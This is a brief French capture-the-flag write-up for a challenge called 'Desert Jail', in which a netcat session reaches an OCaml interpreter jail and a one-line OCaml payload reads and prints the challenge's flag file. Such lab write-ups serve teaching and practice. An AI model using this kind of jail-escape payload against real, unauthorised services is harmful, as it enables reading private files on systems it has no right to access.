/ exploit

cyber@hack - Desert Jail

Énoncé : You tried to rob someone. You failed. Now you're in jail, in the desert. Your only chance is to talk to the camel. You could escape and then, maybe, find some treasure near the prison. Good luck. vm-ctf-2.epitech.eu:5050

En se connectant à l'adresse donnée, nous avons :

$ nc vm-ctf-2.epitech.eu 5050
Welcome to the CamlJail
You are in prison, can't escape. You need to find the password
To do so you can talk to the Camel :) gl hf

En fouillant un peu, et avec les différents indices, on peut penser que c'est une jail OCaml. Après recherche dans la documentation du langage, notre payload pour ouvrir le fichier flag est donc :

let ic = open_in "flag" in let line = input_line ic in print_endline line;;

Le flag est donc : flag{LookAtMyDesertPrison}.